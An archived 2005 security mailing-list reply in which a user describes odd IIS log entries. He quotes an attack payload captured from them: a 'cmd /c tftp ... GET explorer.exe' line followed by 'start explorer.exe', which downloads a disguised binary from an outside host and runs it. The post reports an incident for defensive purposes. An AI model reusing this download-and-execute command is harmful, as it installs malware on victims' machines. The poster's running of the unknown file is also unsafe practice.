Security Incidents mailing list archives

Re: Re: New http attack?


From: phil () ramtronik com
Date: 19 Jun 2005 22:14:59 -0000

Hello,

saw your post after considerable searching for the same mysterious 'get / 401' errors in my IIS log. I managed to get a 
full capture of the communication, further down from the 'QUFB' repetition was an embedded string:

cmd /c tftp -i x.x.x.x GET explorer.exe
start explorer.exe
exit

have hidden IP for obvious reasons. I managed to download the file myself manually, and submitted to symantec, as my 
virus checker didnt flag it. incidentally, i ran the file, and it wasn't explorer, though i dont know what it is.

Phil


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